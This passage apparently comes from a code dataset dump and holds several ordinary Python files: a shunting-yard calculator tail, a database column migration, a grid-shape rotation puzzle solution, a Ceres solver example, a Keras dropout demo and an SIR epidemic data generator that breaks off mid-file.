val_2)\n elif x == '-':\n operands.insert(0, val_1 - val_2)\n elif x == '*':\n operands.insert(0, val_1 * val_2)\n elif x == '/':\n operands.insert(0, val_1 / val_2)\n elif x == '^':\n operands.insert(0, val_1 ** val_2)\n\n else:\n operands.insert(0, int(x))\n\n print('Result is {0}'.format(operands[0]))\n\nexpression = '4 ^ 3 - 7 / 7'\npostfix = infix_to_postifx(expression)\ncalculate(postfix)","sub_path":"shunting_yard.py","file_name":"shunting_yard.py","file_ext":"py","file_size_in_byte":2385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"480360925","text":"from ._patch_base import PatchBase\n\n\nclass Patch(PatchBase):\n name = 'Extend trs_quest.quest_reward length'\n descr = 'New Protos, more data.'\n\n def _execute(self):\n alter_sql = \"\"\"\n ALTER TABLE `trs_quest`\n MODIFY COLUMN `quest_reward` varchar(2560)\n COLLATE utf8mb4_unicode_ci DEFAULT NULL;\n \"\"\"\n try:\n self._db.execute(alter_sql, commit=True, raise_exec=True)\n except Exception as e:\n self._logger.exception(\"Unexpected error: {}\", e)\n self.issues = True\n","sub_path":"mapadroid/patcher/extend_trs_quest_pogodroid_190.py","file_name":"extend_trs_quest_pogodroid_190.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"192875340","text":"i1=lambda : input()\ni2=lambda : int(input())\ni3=lambda : map(int,input().split())\ni4=lambda : list(map(int,input().split()))\ni5=lambda n : [list(map(int,input().split())) for _ in range(n)]\ni6=lambda n : [list(input())for _ in range(n)]\n \n \nN=i2()\nS=i6(N)\nT=i6(N)\n \n \n# N=5\n# S=[['.', '.', '.', '.', '.'], ['.', '.', '#', '.', '.'], ['.', '#', '#', '#', '.'], ['.', '.', '.', '.', '.'], ['.', '.', '.', '.', '.']]\n# T=[['.', '.', '.', '.', '.'], ['.', '.', '.', '.', '.'], ['.', '.', '.', '.', '#'], ['.', '.', '.', '#', '#'], ['.', '.', '.', '.', '#']]\n \ndef scount(S):\n ans=0\n N=len(S)\n for i in range(N):\n ans+=S[i].count(\"#\")\n return ans\n \ndef rtvCol(col,S):\n N=len(S)\n ans=[]\n for i in range(N):\n ans.append(S[i][col])\n return ans\n \ndef rotate(S):\n row=len(S)\n col=len(S[0])\n #print(row,col)\n #print(\"-\"*10)\n ans=[]\n for i in range(col):\n t=[]\n for j in range(row-1,-1,-1):\n #print(j,i)\n t.append(S[j][i])\n ans.append(t)\n return ans\n \ndef checklist(S,T):\n l=len(S)\n ans=True\n for i in range(l):\n if ''.join(S[i])!=''.join(T[i]):\n return False\n return True\n \ndef pos(S):\n N=len(S)\n top=0\n for i in range(N):\n if \"#\" in S[i]:\n top=i\n break\n \n bottom=N\n for i in range(N-1,-1,-1):\n if \"#\" in S[i]:\n bottom=i\n break\n \n left=0\n for i in range(N):\n col=rtvCol(i,S)\n #print(col)\n if \"#\" in col:\n left=i\n break\n \n right=N\n for i in range(N-1,-1,-1):\n col=rtvCol(i,S)\n #print(i,col)\n if \"#\" in col:\n right=i\n break\n \n source=[]\n for i in range(top, bottom+1):\n t=[]\n for j in range(left,right+1):\n t.append(S[i][j])\n source.append(t)\n return ([top,bottom,left,right],source)\n \nif scount(S)!=scount(T):\n ans=False\nelse:\n pos_s,source=pos(S)\n pos_t,target=pos(T)\n ans=False\n for i in range(4):\n t=checklist(source,target)\n if t:\n ans=True\n break\n target=rotate(target)\n \nprint('Yes' if ans else 'No')","sub_path":"ABC/ABC_218_C_Shapes_Rotation.py","file_name":"ABC_218_C_Shapes_Rotation.py","file_ext":"py","file_size_in_byte":2206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"305754073","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom cyres import *\nfrom cost_functions.wrappers import SimpleCostFunction\nimport numpy as np\n\niter_cnt = [0]\ndef foo():\n iter_cnt[0] += 1\n print(iter_cnt[0])\n\nx = np.array([5.])\nproblem = Problem()\nproblem.add_residual_block(SimpleCostFunction(), SquaredLoss(), x)\n\noptions = SolverOptions()\noptions.max_num_iterations = 50\noptions.linear_solver_type = LinearSolverType.DENSE_QR\noptions.trust_region_strategy_type = TrustRegionStrategyType.DOGLEG\noptions.dogleg_type = DoglegType.SUBSPACE_DOGLEG\noptions.minimizer_progress_to_stdout = False\noptions.add_callback(SimpleCallback(foo))\nsummary = Summary()\n\nsolve(options, problem, summary)\nprint( summary.briefReport())\nprint( summary.fullReport())\nprint( x)\nassert(np.isclose(x[0],10))\n","sub_path":"examples/quadratic/quadratic.py","file_name":"quadratic.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"391559293","text":"from __future__ import absolute_import, division, print_function, unicode_literals\nfrom tensorflow import keras\nimport numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.pipeline import Pipeline\n\n# https://machinelearningmastery.com/dropout-regularization-deep-learning-models-keras/\n\n# fix random seed for reproducibility\nseed = 7\nnp.random.seed(seed)\n# load dataset\ndataframe = pd.read_csv(\"sonar.csv\", header=None)\ndataset = dataframe.values\n# split into input (X) and output (Y) variables\nX = dataset[:, 0:60].astype(float)\nY = dataset[:, 60]\n# encode class values as integers\nencoder = LabelEncoder()\nencoder.fit(Y)\nencoded_Y = encoder.transform(Y)\n\n\n# baseline\ndef create_baseline():\n # create model\n model = keras.Sequential()\n model.add(keras.layers.Dense(60, input_dim=60, kernel_initializer='normal', activation='relu',\n kernel_constraint=keras.constraints.max_norm(3)))\n model.add(keras.layers.Dropout(0.2))\n model.add(keras.layers.Dense(30, kernel_initializer='normal', activation='relu',\n kernel_constraint=keras.constraints.max_norm(3)))\n model.add(keras.layers.Dropout(0.2))\n model.add(keras.layers.Dense(1, kernel_initializer='normal', activation='sigmoid'))\n # Compile model\n sgd = keras.optimizers.SGD(lr=0.01, momentum=0.8, decay=0.0, nesterov=False)\n model.compile(loss='binary_crossentropy', optimizer=sgd, metrics=['accuracy'])\n return model\n\n\nnp.random.seed(seed)\nestimators = [\n ('standardize', StandardScaler()),\n ('mlp', keras.wrappers.scikit_learn.KerasClassifier(build_fn=create_baseline, epochs=300, batch_size=16, verbose=1))\n]\npipeline = Pipeline(estimators)\nkfold = StratifiedKFold(n_splits=10, shuffle=True, random_state=seed)\nresults = cross_val_score(pipeline, X, encoded_Y, cv=kfold)\nprint(\"Baseline: %.2f%% (%.2f%%)\" % (results.mean() * 100, results.std() * 100))\n","sub_path":"dropout-demonstration/3_dropout-hidden-layer-neural-network.py","file_name":"3_dropout-hidden-layer-neural-network.py","file_ext":"py","file_size_in_byte":2098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"137932684","text":"#!/usr/bin/python\n\n###############################################################################\n###############################################################################\n# Copyright 2013 Kyle S. Hickmann and\n# The Administrators of the Tulane Educational Fund\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n###############################################################################\n###############################################################################\n\n# Use:\n# SIRdata.py \n\n# Generate data with noise from an Epidemic simulation. \n#\n# In the input file (dataICname) are the data generation specifics:\n# - parameter set ([beta,mu,I0] for SIR)\n# - time interval \n# - number of data points\n# - data noise level\n\n# Possible Epidemic simulations are in epiODElib.py.\n#######################################################################\n#######################################################################\n# Import necessary modules.\nimport sys\nimport numpy as np \nimport numpy.random as rn\n\n# User defined package\nimport epiODElib\n#######################################################################\n#######################################################################\n# Open Data ICs file for reading\ndataICfile = open(sys.argv[1], 'r')\ndataIC = dataICfile.readlines()\ndataIClist = dataIC[1].split()\ndataICfile.close()\n\n# Read file ICs to variable names\nI0 = float(dataIClist[0])\nTspan = float(dataIClist[1])\nNdata_pts = float(dataIClist[2])\nbeta = float(dataIClist[3])\nmu = float(dataIClist[4])\nnoise = float(dataIClist[5])\n\n#####################################################\n# Define inputs to epiODE simulation from ICs\nS0 = 1.0 - I0\ny0 = np.array([[S0],[I0]])\n\n# Define resolution of simulation.\n# Number of deterministic steps.\n# NOTE: THIS SHOULD BE SPECIFIED IN dataIC.dat\nNtimesteps = 1500.\n\n# Use simulation resolution to define number of steps \n# between measurements.\nData_Increment = int(Ntimesteps/Ndata_pts)\n\n# Define time vector\ntime = np.linspace(0.,Tspan,Ntimesteps)\n\n# Simulate SIR\nXsim = epiODElib.SIRode(y0, time, beta, mu)\n\n# Subsample and add noise to generate data\nData = Xsim[:,Data_Increment::Data_Increment] \nDataLength = Data.shape[1]\n\n# Define measurement time vector\nmeasured_time = time[Data_Increment::Data_Increment]\n\n# Make sure number of data points and time instances match\nmeasured_time = measured_time[range(DataLength)]\n\nData = Data + noise*rn.randn(2,DataLength)\n\n###########################################################\n# Write simulation and data to files with headers\n# First write simulation result to file\n# Simulation Header String\nSimHeader = '